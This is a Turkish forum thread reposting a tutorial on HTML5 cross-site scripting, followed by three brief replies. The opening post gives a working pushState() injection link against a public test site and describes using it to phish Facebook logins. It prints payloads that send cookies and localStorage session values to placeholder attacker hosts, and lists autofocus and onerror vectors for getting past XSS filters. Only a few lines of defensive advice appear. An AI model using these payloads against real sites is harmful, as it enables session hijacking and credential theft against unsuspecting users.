HTML5 İle Yeni Nesil Xss

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    SpermMan
    SpermMan's avatar
    Kayıt Tarihi: 12/Haziran/2007
    Erkek

    ------ Alıntıdır ------

    PushState() Kullanarak XSS

    HTML5 ile gelen history.pushState(), bize gecmisimizi duzenleyebilme imkani sunuyor. AJAXwebsitelerinde kolayca gecmisi degistirerek URL’yi degistirmek icin kullanilmak uzere tasarlandi bu fonksiyon. PushState() ile kullanicilar adres cubugunda gozuken URL’yi dokumani yenilemedendegistirebiliyor. Bazilarinizin aklina bu asamada ilginc fikirler gelmistir tahminimce :)

    Bu ozellik ile saldirgan bir kisi XSS kullanarak kurbanin bulundugu adresi degistirebilir. Asagidaki ornek linke tiklayin ve acigi kendiniz canli olarak gorebilirsiniz. Herzamanki gibi zararsizdir korkmayin :) Acik sadece HTML5 destekleyen yeni tarayicilarda calismaktadir. Ayrica Safari 5’te de pushState() fonksiyonu calisiyor fakat tarayicinin guvenlik onlemleri nedeniyle injection yapilamiyor.

    Linki Firefox ya da Opera ile acmaniz gerekiyor cunku Google Chrome ve Internet Explorer’in XSS filtreleri izin vermiyor.

    Linkimize gelelim:

    Bu site acunetix sirketinin bizim gibi bugcularin aciklari denememiz icin olusturdugu bir sitedir.

    http://testasp.vulnweb.com/Search.asp?tfSearch=”><script>var stateObj = { foo: “bar” }; history.pushState(stateObj, “page 2″, “login.asp”);</script>

    Linki acarken URL’ye dikkatlice bakin. Sayfanin degismeden URL’nin “login.asp” sayfasi seklindedegistigini goreceksiniz. 

    Kullandigimiz kod:

    “><script>history.pushState({foo:”bar”}, “Please Login”, “login.asp”);</script>

    Yanlis anlasilmalari onlemek icin bir aciklama yapmam gerekiyor. Bu saldiri ile URL’nin tamamini farkli bir URL ile degil, ayni domain uzerinde farkli bir yol ile degistirebilirsiniz. Bu ne isimize yarar derseniz eger su sekilde asama asama anlatayim:

    1. http://facebook.com/tahribat/tbt/dosya?q=XSS gibi bir linkte XSS oldugunu dusunelim.

    2. Saldirgan kurbana gonderdigi pushState() iceren XSS linki ile kurbanin URL’sini facebook.com/login.php seklinde degistirir. Bu, tarayici login.php sayfasini acmadigi halde adres cubugunun facebook.com/login.php gibi gorunmesini saglar. 

    3. Kurban linke tiklar ve icerigi gorebilmesi icin oturum acmasi gerektigini dusunur. Kurbanimiz fake facebook sayfalarindan haberdar oldugu icin hemen sayfanin kaynak kodlarina bakar fakat zararli hicbirseybulamaz cunku saldirganin URL’sine degil facebook.com/login.php kaynak kodlarina bakmis olur. 

    4. Kurban rahatca giris yapabilecegini dusunup “Kullanici Adi” “Sifre”yi girer ve saldirgan oturumu calar.

    Bu yontem ile “Phishing” saldirilarini basariyla gerceklesirebilirsiniz ve “Fake” olayina yepyeni bir bakis getirebilirsiniz.

     



    Local Storage Kullanarak XSS

    “LocalStorage” kullanici tarafli bir depolama mekanizmasidir ve JavaScript ile bu depolama sistemine erisilebilir. LocalStorage’in yarari ise cookie, flash nesneler gibi diger depolama seceneklerinden daha fazla alana sahip olmasidir. Buna ek olarak, cookielerin tam tersine veri tarayici tarafindan otomatik bir sekildeher bir istek ile birlikte gonderilmiyor.

    Sistemi ozetle anladigimiza gore simdi bu depolama sisteminde olusan zaafiyete bakalim..

    XSS Ile Cookie’den Session ID Calma Islemi

    <script>document.write(”<img src= “http://saldiringansitesi”>cookie=”+document.cookie+”’>”);</script>

    XSS Ile LocalStorage Uzerinden Session ID Calma Islemi

    <script>document.write(”<img src= “http://attackersite”>cookie=”+localStorage.getItem(’foo’)+”’>”);</script>

    LocalStorage Cookieler icin kullandigimiz “HTTPOnly” islemi ile calismaz ve bu yuzden de HTTPOnly aktif olan cookieleri JavaScript ile alamazken LocalStorage’deki degerleri alabiliriz. 


    LocalStorage Ile XSS

    <script>alert(localStorage.getItem(’foo’))</script>

    URL Scriptlet Ile LocalStorage Degeri Uretmek

    javascript:localStorage.setItem(’fooName’,’barValue’);

    URL Scriptlet Ile LocalStorage Degeri Almak

    javascript*alert ZararliKod*localStorage.getItem(’fooName’));

    JSON Ile URL scriptlet Yoluyla LocalStorage Degeri Uretmek

    javascript:localStorage.setItem(’fooName’, JSON.stringify(’data1:a,”data2″:b,data3:c’));

    URL Scriptlet Yoluyla LocalStorage Sayisini Almak

    javascript*alert ZararliKod*localStorage.length);

    Site Ile Iliskili Butun LocalStorage Verisini Silmek

    javascript:localStorage.clear()

    LocalStorage Ve Guvenligi Ile Ilgili Bilmeniz Gerekenler

    1. Oturum IDleri icin LocalStorage kullanmayin. HTTPOnly ve Secure flaglari ile Cookieleri kullanin.

    2. Eger bir sekilde cookieleri kullanamiyorsaniz, kullanici tarayiciyi kapattiginda butun veriler silinecek sekilde ayarlamak uzere LocalStorage kullanin.

    3. LocalStorage uzerindeki butun bilgiler saldirgan tarafindan degistirilip gorulebilecegi icin, bu depolama sisteminde cok onemli bilgiler saklamayin.

     

    Diger Bazi HTML5 XSS Vektorleri

     

    HTML5 ile sadece yukaridakiler degil daha bircok seyi yapmak mumkundur. Bazi XSS filtrelerini asmak icin asagida verecegim yeni HTML5 XSS vektorlerini kullanabilirsiniz.

     

    <input autofocus onfocus=alert(”tbt“)> 

    <select autofocus onfocus=alert(”tbt“)>

    <textarea autofocus onfocus=alert(”tbt“)>

    <keygen autofocus onfocus=alert(”tbt“)>

    <input type=”text” AUTOFOCUS onfocus=alert(”tbt“)>

    <video src=1 onerror=alert(”tbt“)>

    <audio src=1 onerror=alert(”tbt“)>

     


    Kaynaklar

    http://michael-coates.blogspot.com
    http://samuli.hakoniemi.net
    hackerthedude.blogspot.com
    blog.kotowicz.net
    http://www.thespanner.co.uk


    -
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Ayro
    Ayro's avatar
    Kayıt Tarihi: 08/Ağustos/2005
    Erkek

    ben yeni sitede #!/ kullandım ve her url değiştiğinde kontrole giriyor.Bu saldırıdn böyle kurtulabilir..Url değiştiriğinde test edecek.

    güzel konu.Yeni nesilde neler olacağını merak ediyorum :) çokk ilginç açıklar gelecektir eminim.

  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Twitter
    Twitter's avatar
    Kayıt Tarihi: 13/Ekim/2007
    Erkek

    Gelişen teknoloji ile beraber  daha can alıcı açıklarda birlikte geliyor :) 

     


    Tbt Dersimliler Derneği Başkanı :)
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    CodeInside
    CodeInside's avatar
    Banlanmış Üye
    Kayıt Tarihi: 20/Aralık/2009
    Erkek

    bakalım html 5'de xss nasıl şekillenecek :) merakla bekliyoruz.

     

Toplam Hit: 1850 Toplam Mesaj: 4